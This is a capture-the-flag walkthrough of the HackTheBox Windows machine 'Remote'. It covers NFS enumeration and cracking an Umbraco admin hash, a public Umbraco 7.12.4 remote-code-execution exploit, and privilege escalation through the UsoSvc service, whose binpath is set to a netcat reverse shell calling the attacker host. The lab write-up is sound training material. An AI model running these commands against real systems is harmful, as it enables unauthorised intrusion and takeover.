# Remote 10.10.10.180

![Competed on 30 May 2020](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHdTwldplFku-IlYazS%2F-MIURP05HffaHcU6ZBfd%2F-MIUSx5xqHwqNtJF_iPA%2Fimage.png?alt=media\&token=b65ac2f4-9194-440d-abc1-7ec272f4bdbd)

![](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHdTwldplFku-IlYazS%2F-MHdva8WI7_tB2npqjf3%2F-MHdw5kk_fTxvbxQNfbU%2Fimage.png?alt=media\&token=ceb9e58a-cbcc-4d65-a371-b3d5001d70de)

## **Background**

**Remote** is a Windows machine from [HackTheBox](https://www.hackthebox.eu/home/machines/profile/234), that is focusing on the CVE exploitation technique, for training your ethical hacking skills and penetration testing skills.&#x20;

According to the nmap result, a website is found that installed a vulnerable version of Umbraco CMS and an *`mountd`*&#x6E;fs service is enabled. It can be exploited after we find the credentials from an exposed NFS share. A login credential is found at a file that saves in this NFS share, the credential can be used to log into the Umbraco CMS. An authenticated Umbraco CMS exploitation is found to gain initial access.&#x20;

Based on the result of the [WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS),  there is a possible local privilege escalation vector on a full access service named UsoSvc. Modifying the *binpath* of the service return the reverse shell with administrator privilege.

<130n@calvinlai.com>

**Target Machine**: 10.10.10.180&#x20;

**Attacker Machine**: 10.10.14.8

## **Hacking Process Part 0 – Service** Reconnaissance

### **Quick Pre-searching**

![nmap -Pn -p- -T5 --min-rate=1000 10.10.10.180 -oG fkclai.nmap](https://lh4.googleusercontent.com/2ae8QmaZcza_Wi1vu9tJYwFmukeNdMj6hwbwqWpGniV9PTu9dyStBNaYtfTY95EU5zTNtDys5rGt3XwlH6EmDiy_p6IN3A3t7SVOzyCzdtAtOCdYyXQQ3D8azOdNlvXdAbPSGpEA)

### **Details Analysis**

```bash
root@kclai: ~/Documents/ctf/htb/windows/12_Remote# nmap -p $(grep -Eo '[0-9]{1,5}/open' fkclai.nmap | cut -d '/' -f 1 | tr -s '\n' ',') -sC -sV 10.10.10.192 -o nmap-result.txt 

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-06 17:49 IST
Nmap scan report for 10.10.10.180
Host is up (0.21s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1m09s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-09-06T12:21:19
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.81 seconds
```

### **Enumeration strategies**

According to the nmap result, the following interesting ports are found for further investigation &#x20;

1. FTP  (21)
2. Website (80)
3. NFS (2049)

## **Hacking Process Part 1 – Enumeration**

### **FTP - 21**

Using the credentials anonymous/anonymous to log in to the FTP service successful, but nothing can be found or download from this account.

![](https://lh5.googleusercontent.com/9MpGEmsjoySBBGWbg_paYl3KI2Cv-Z5uiMrhNK1JvcWOdd5Mwk-yKdxEL9LIIpbntTrudCktJmkPSqDNyxN10BJZEHPb7R4NJ1Vu73QtRQly7d5jC9i6hcifqMfkq6SuZ4m1vGU1)

### **Website - 80**&#x20;

![](https://lh6.googleusercontent.com/FFGuHK2NQj_0a9kgcbu2Y9S_qgEN9TPsmz5s4niEO33OtQBnJ-yfYzzcek-dDo1UadjhIId6JCWvfbLntQDwqmII0mKiXhEAlJUDWrEwZkpsiDSgBk6H_wraO03rN08VSJVlqPr1)

Going to the website and nothing interesting items can be found. Using the gobuster to check any hidden folder/subdirectory, a list of interesting&#x20;

gobuster dir --url=<http://10.10.10.180/> -- wordlist=/usr/share/wordlists/dirb/common.txt

```bash

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions:  | HTTP method: GET | Suffixes: php, asp, aspx, jsp, js, do, action, html, json, yml, yaml, xml, cfg, bak, txt, md, sql, zip, tar.gz, tgz | Threads: 10 | Wordlist size: 4614 | Request count: 4614

Error Log: /opt/dirsearch/logs/errors-20-09-06_17-53-02.log

Target: http://10.10.10.180

Output File: /opt/dirsearch/reports/10.10.10.180/20-09-06_17-53-02

[17:53:02] Starting:
[17:53:08] 200 -    7KB - /
[17:53:18] 200 -    5KB - /about-us
[17:53:25] 200 -    5KB - /blog
[17:53:25] 200 -    5KB - /Blog
[17:53:34] 200 -    8KB - /contact
[17:53:34] 200 -    8KB - /Contact
[17:53:56] 200 -    7KB - /home
[17:53:56] 200 -    7KB - /Home
[17:54:00] 302 -  126B  - /install  ->  /umbraco/
[17:54:01] 200 -    3KB - /intranet
[17:54:10] 500 -    3KB - /master
[17:54:21] 200 -    7KB - /people
[17:54:21] 200 -    7KB - /People
[17:54:23] 200 -    3KB - /person
[17:54:28] 500 -    3KB - /product
[17:54:28] 200 -    5KB - /products
[17:54:28] 200 -    5KB - /Products
[17:54:55] 200 -    4KB - /umbraco
```

An administrative page is found, we cannot log into the system using some default accounts such as admin/admin. Move to next for further checking.&#x20;

![](https://lh5.googleusercontent.com/3KF0GB4yDKh_3WlyV78p-j0VGPI0qBVMYj5LtzxuArRJjaTPOzdFvj9PlrInIjQAjIyzq4WJISMZ9sPfoEHMjUsOHbA8cpdPQtJ2bpdkoY90ZOqVEWUsFpsd58J0W82EUmKGIouu)

### **NFS - 2049**

Using `showmount`tool to check which NFS share is accessible by who

![](https://lh4.googleusercontent.com/TCZzvdL8Tzu9Av7gM0rwK0LsYGLi0diEsEXdXSqW0EQyV9BtOML-fH7GejL6HXJLA3gKCI2mjAIiHXVxJIo1srcJwkIWHN1l_8IA_WohWtKMdMIWSPZpDbFxdrs-VX04Ruxpvw8c)

The `site_backups`is available to mount and is accessible to everyone, let’s mount it and further enumerate.

![](https://lh5.googleusercontent.com/NnQyQCauttF5EqeiQrVdk6YhyKV070JBWmvPrKIMgjc41F9lIrbl3k4jva2q9cYU57mszsYAEBFoeEITknF4MBfHfEwX7hvmly9lKlWeOxZmj5JMOICXRhtbXu-7azlowEWliV-b)

![](https://lh3.googleusercontent.com/jvoh2Ca1LZO4tmc65SHeZbHx6Hux8BeXpwqeEnb0wi6Hi9ibc_i6oa4kZ-APDaRH9MgoTTepEviBXYKEf7WaSlxbN9Gax1auNgmpCXAta7IIHHmK4ndh0akxh0pcrPCMZ_ptGuGK)

Check the folder one by one and found that  a file named `mbraco.sdf`inside the folder`/App_Data` which contains credentials at the top of the file.

```bash
strings Umbraco.sdf | head
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f

```

Crack the password which SHA1 hash `b8be16afba8c314ad33d812f22a04991b90e2aaa`using an online hash [decrypting ](https://md5decrypt.net/en/Sha1/#answer)service. Finally, get the credentials user id: **<admin@htb.local>** and password **baconandcheese**

![](https://lh6.googleusercontent.com/n1slVBj9ZEUTzD01n-nDzlNFJK58HOe8TzqiGdgQEsAN9lU5JPZXGJRITXBsDPuJhb0oOtqLES72fxa0IylGmoUIAtu2k-JO6vwVDWl5xM2l415Xqjhf8cYGoKdinoXVp1bjrL3p)

## **Hacking Process Part 2 – Initial Low Privilege Access**

Let login to Umbraco CMS with the credentials found <admin@htb.local> / baconandcheese.

![](https://lh5.googleusercontent.com/TI8ncBNcjErks-fsL5JRdWsUP1ZbuxrlXQ-5fUAtblmSOnQkN_-X7sv3PhqqIZxVHy_F5p12DjYbvxW5Hppisf8WzcS4T5wZDO2H_Byv4qz7xGR_s9yessok02YImXQusqguC1is)

![](https://lh3.googleusercontent.com/d-Vs_zeSElnNsLrcNgjAzFQ46b1HPC4gbsrzCbb2wxVUFuYxOhqKmr_Wul9VDaUD2GEQcdP_pjT1exwwNIGpHSSDlbidCS23_UXL9ETqbcH7oHTFLpGs3Kd9tFNfImH3Q2dHNXUA)

Just checked the version is Umbraco 7.12.4, google any vulunerability found at the exploit DB.

![](https://lh3.googleusercontent.com/dGd88QlGnHnEGfM_Oy9ml4KkM80K1We0AnCvDBAm_VKysXf60Qxwf4fu-tkZ0s4fdg3f2tuKLimLbw9NItyXwqj-XOQbCxfJYh_2HZc7VEhJnqzsymDpWvaL97Cvm31kBaKjwChj)

This version suffers from an authenticated remote code execution vulnerability. Download the [*exploit* ](https://www.exploit-db.com/exploits/46153)and modify the login details as below.

```bash
...
login = "admin@htb.local";
password="baconandcheese";
host = "http://10.10.10.180";
...
```

In order to get the reversed TCP shell,  the payload is changed to download a netcat 64 bits Windows version.

![](https://lh5.googleusercontent.com/RAYaXWDd7lyuEszGbNwDdpEdVkTQ7GcrdXiiXpuX82yo9xMrd5iCX3SdkvKlOx0XrT0vAAkgYSfCKkNOnshcoUAsLHRMV4xdtQycv_mHn-kTh9JEKSq3OGpxl4uKOc45_D2Gf4-B)

Next, stand up a listener on port 80 and run the exploit.&#x20;

![](https://lh3.googleusercontent.com/IwG4nlxSC3PQcOlD8LAEv01R1BPk0829A1CgEb7-bsBDugfspEMxiBPYNc5GgGwWWHIQB4x_MSyWPuQuNjSNnt2YR2scVOMP4GAjNtE7sXhmahNL3O5RBUtdSiF6gWyKkcXjji8t)

Change the payload again to start the reversed TCP shell to my Kali machine

![](https://lh4.googleusercontent.com/R3ZoeSeXypUrsd-nNhmU6S07xAmMovEoivP4whOe2ucEvOiJ_r9ojrCQ7buejwUk3hi8-yKaGa6JYgsDczsFqu_7Z4gf0ijSBwoM-atbDzS7u7NTGepJBwAi_J-_pGHivB32sxP9)

Start the listening port at my Kali machine, the reverse shell is returned.

![](https://lh5.googleusercontent.com/8pZyGnfifsBAMyPBi7XjAAkGcU3T-IfmSiqO8P_HeQDNyjE3vmk-ytwrU4u9-y9ib2kD5mMDJ1F1V6ltGfKHy2cdE_PmeU9iTUmW8Ax7bVQaJRS0vfAuC8fPHIfDcsbrCQPz362j)

The user flag can be found in the C:\Users\Public folder.&#x20;

![](https://lh4.googleusercontent.com/t8a5Q39iTikAWv5iLxQB9bDBXkbRi1OxEObXHVqpkPf0Yw4mnCxgEs2jWyEmbW30hhHUI5lvjMRW10ZZv4Dwup_HNucD3yHiA-0k_dWxFQfaHJRQCT6c7q8RNiQERQyypb3Cmvjo)

## **Hacking Process Part 3 – Privilege Escalation**

Start from gathering the system information &#x20;

![whoami /priv](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHdTwldplFku-IlYazS%2F-MN42MsVmWmBQYRgILl6%2F-MN430thE8MU-amCdcis%2Fimage.png?alt=media\&token=283af299-dfb4-4722-bdf2-c0692adf7ac3)

![systeminfo](https://lh3.googleusercontent.com/N67T55qn8dT1eG0aG4FtnCra5bM8wQyjZswW47svAhmTREwVR9Bygsf8ivGsbF5VSsVTJ7vWwDUKyrZVOx33_9OQ0ULt9L5pNwJRkkJJ3-HXSCpvgf3Pvd0oAJt56oGBY7QJF9Pz)

Result of the [winPEAS.exe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe), discover possible local privilege escalation vectors, shows the full access of a service named as `UsoSvC`

```bash
[+] Modifiable Services
   [?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
    LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s:
    UsoSvc: AllAccess, Start
```

Because of the full access to `UsoSvc` service, we can modify the `binpath` of the service and pop us a reverse shell.

```bash
sc.exe stop UsoSvc
sc config UsoSvc binpath= "C:\windows\temp\nc.exe -nv 10.10.14.6 1235 -e C:\WINDOWS\System32\cmd.exe"
sc.exe qc usosvc
```

![](https://lh5.googleusercontent.com/9GLgUYkJKtVYkXw-bGGIidcBJqqSvmMC44nBH6TOKaCNIolP5xipMOE7mvaI2l_f9R6HMvjDEllkVToxTPcZW21ONAXSphfnPSrOUImNi9FeuX__wAG-cJFYvS1v2Giv_Oqd2cIT)

![](https://lh5.googleusercontent.com/V21McSPLuR1QVrnlGqa3Mo4VAkWzQhNKWSVUMiMh_mTc8IZuLQ1-z8R2EfxKK9rhVKd41C2_N1GJSsIcdQ6pkuhXfX9HLE-WJTqPhcY6tQZx9QQlqNSwaD1qJChjqG50jTakteh0)

## **Recommendation**

Several known vulnerability is found on this box that makes us can finish the game easily. It is told us that system patching is the most important preventive action to defect cyber attack.

## **Reference Link**

{% embed url="<https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe>" %}
